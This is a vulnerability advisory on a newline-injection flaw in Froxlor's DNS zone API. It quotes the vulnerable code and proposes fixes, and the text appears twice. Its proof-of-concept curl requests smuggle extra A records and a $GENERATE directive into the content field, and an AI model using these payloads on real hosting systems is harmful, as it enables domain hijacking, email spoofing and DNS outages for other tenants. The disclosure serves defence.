Summary
DomainZones::add() accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the content field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., NAPTR, PTR, HINFO), content validation is entirely bypassed. Embedded newline characters in the content survive trim() processing, are stored in the database, and are written directly into BIND zone files via DnsEntry::__toString(). An authenticated customer can inject arbitrary DNS records and BIND directives ($INCLUDE, $ORIGIN, $GENERATE) into their domain's zone file.
Details
Missing type whitelist — DomainZones.php:93:
The type parameter is accepted directly from user input with no validation against allowed values:
// lib/Froxlor/Api/Commands/DomainZones.php:93
$type = $this->getParam('type', true, 'A');The if/elseif chain at lines 170-317 validates content only for 13 known types: A, AAAA, CAA, CNAME, DNAME, LOC, MX, NS, RP, SRV, SSHFP, TLSA, TXT. Any type not in this list falls through with no content validation at all. There is a TODO comment at line 148 acknowledging missing validation:
// TODO regex validate content for invalid characters
Missing newline sanitization — DomainZones.php:154:
The content field only receives trim(), which strips leading/trailing whitespace but preserves embedded newline characters:
// lib/Froxlor/Api/Commands/DomainZones.php:154
$content = trim($content);
Unsafe zone file output — DnsEntry.php:83:
DnsEntry::__toString() concatenates content directly into zone file format without escaping:
// lib/Froxlor/Dns/DnsEntry.php:83
return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t"
. (($this->priority >= 0 && ($this->type == 'MX' || $this->type == 'SRV')) ? $this->priority . "\t" : "")
. $_content . PHP_EOL;Newlines in $_content produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.
Zone file write — Bind.php:121:
// lib/Froxlor/Cron/Dns/Bind.php:121
fwrite($zonefile_handler, $zoneContent . $subzones);
The AntiXSS filter applied at the API layer (Api.php:91) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (formfield.dns_add.php:42-56), but this is client-side only — the server-side DomainZones::add() has no corresponding whitelist.
Execution flow:
- Customer sends API request with
type=NAPTR and content containing \n-separated lines
getParam() returns raw values without sanitization- Type
NAPTR matches none of the if/elseif conditions — no content validation runs
trim($content) preserves embedded newlines- Content is inserted into
domain_dns table via prepared statement
- DNS cron creates
DnsEntry objects from DB records (Dns.php:297)
DnsEntry::__toString() outputs content with embedded newlines into zone formatBind.php:121 writes zone to disk; BIND loads the file and processes injected lines as records
PoC
Step 1: Inject a DNS record with embedded newlines via API
curl -s -X POST 'https://froxlor.example.com/api.php' \
-u 'APIKEY:APISECRET' \
-H 'Content-Type: application/json' \
-d '{
"command": "DomainZones.add",
"params": {
"id": 1,
"type": "NAPTR",
"content": "100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" ."
}
}'Expected: HTTP 200 with success response. The record is stored in the database.
Step 2: Wait for DNS cron to rebuild zones (or trigger manually)
# As admin, trigger the DNS rebuild cron
php /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns
Step 3: Inspect the generated zone file
cat /etc/bind/domains/example.com.zone
Expected zone file content includes injected lines:
@ 18000 IN NAPTR 100 10 "" "" "" .
@ 300 IN A 1.2.3.4
@ 300 IN NAPTR 100 10 "" "" "" .
The line @ 300 IN A 1.2.3.4 is parsed by BIND as an independent A record pointing the domain to the attacker's IP.
Step 4: Verify BIND directive injection
curl -s -X POST 'https://froxlor.example.com/api.php' \
-u 'APIKEY:APISECRET' \
-H 'Content-Type: application/json' \
-d '{
"command": "DomainZones.add",
"params": {
"id": 1,
"type": "NAPTR",
"content": "100 10 \"\" \"\" \"\" .\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com."
}
}'This injects a $GENERATE directive that creates 255 PTR records.
Impact
An authenticated customer with DNS editing enabled can:
- Inject arbitrary DNS records bypassing all content validation — including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic.
- Manipulate email authentication by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain.
- Inject BIND server directives (
$INCLUDE, $ORIGIN, $GENERATE) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records.
- Cause DNS service disruption by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.
While this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.
Recommended Fix
1. Add a type whitelist in DomainZones::add() (primary fix):
// lib/Froxlor/Api/Commands/DomainZones.php — after line 93
$type = $this->getParam('type', true, 'A');
$allowed_types = ['A', 'AAAA', 'CAA', 'CNAME', 'DNAME', 'LOC', 'MX', 'NS', 'RP', 'SRV', 'SSHFP', 'TLSA', 'TXT'];
if (!in_array($type, $allowed_types)) {
throw new Exception("DNS record type '" . htmlspecialchars($type) . "' is not supported", 406);
}2. Strip newline characters from content (defense-in-depth):
// lib/Froxlor/Api/Commands/DomainZones.php — replace line 154
$content = trim(str_replace(["\r", "\n"], '', $content));
3. Sanitize in DnsEntry::__toString() as a belt-and-suspenders measure:
// lib/Froxlor/Dns/DnsEntry.php — at the start of __toString()
$_content = str_replace(["\r", "\n"], '', $this->content);
References
offset Reporter
Summary
DomainZones::add()accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in thecontentfield. When a DNS type not covered by the if/elseif validation chain is submitted (e.g.,NAPTR,PTR,HINFO), content validation is entirely bypassed. Embedded newline characters in the content survivetrim()processing, are stored in the database, and are written directly into BIND zone files viaDnsEntry::__toString(). An authenticated customer can inject arbitrary DNS records and BIND directives ($INCLUDE,$ORIGIN,$GENERATE) into their domain's zone file.Details
Missing type whitelist —
DomainZones.php:93:The
typeparameter is accepted directly from user input with no validation against allowed values:The if/elseif chain at lines 170-317 validates content only for 13 known types:
A,AAAA,CAA,CNAME,DNAME,LOC,MX,NS,RP,SRV,SSHFP,TLSA,TXT. Any type not in this list falls through with no content validation at all. There is aTODOcomment at line 148 acknowledging missing validation:// TODO regex validate content for invalid charactersMissing newline sanitization —
DomainZones.php:154:The content field only receives
trim(), which strips leading/trailing whitespace but preserves embedded newline characters:Unsafe zone file output —
DnsEntry.php:83:DnsEntry::__toString()concatenates content directly into zone file format without escaping:Newlines in
$_contentproduce new lines in the zone file, each parsed by BIND as an independent resource record or directive.Zone file write —
Bind.php:121:The
AntiXSSfilter applied at the API layer (Api.php:91) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (formfield.dns_add.php:42-56), but this is client-side only — the server-sideDomainZones::add()has no corresponding whitelist.Execution flow:
type=NAPTRandcontentcontaining\n-separated linesgetParam()returns raw values without sanitizationNAPTRmatches none of the if/elseif conditions — no content validation runstrim($content)preserves embedded newlinesdomain_dnstable via prepared statementDnsEntryobjects from DB records (Dns.php:297)DnsEntry::__toString()outputs content with embedded newlines into zone formatBind.php:121writes zone to disk; BIND loads the file and processes injected lines as recordsPoC
Step 1: Inject a DNS record with embedded newlines via API
Expected: HTTP 200 with success response. The record is stored in the database.
Step 2: Wait for DNS cron to rebuild zones (or trigger manually)
# As admin, trigger the DNS rebuild cron php /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dnsStep 3: Inspect the generated zone file
Expected zone file content includes injected lines:
The line
@ 300 IN A 1.2.3.4is parsed by BIND as an independent A record pointing the domain to the attacker's IP.Step 4: Verify BIND directive injection
This injects a
$GENERATEdirective that creates 255 PTR records.Impact
An authenticated customer with DNS editing enabled can:
$INCLUDE,$ORIGIN,$GENERATE) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records.While this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.
Recommended Fix
1. Add a type whitelist in
DomainZones::add()(primary fix):2. Strip newline characters from content (defense-in-depth):
3. Sanitize in
DnsEntry::__toString()as a belt-and-suspenders measure:References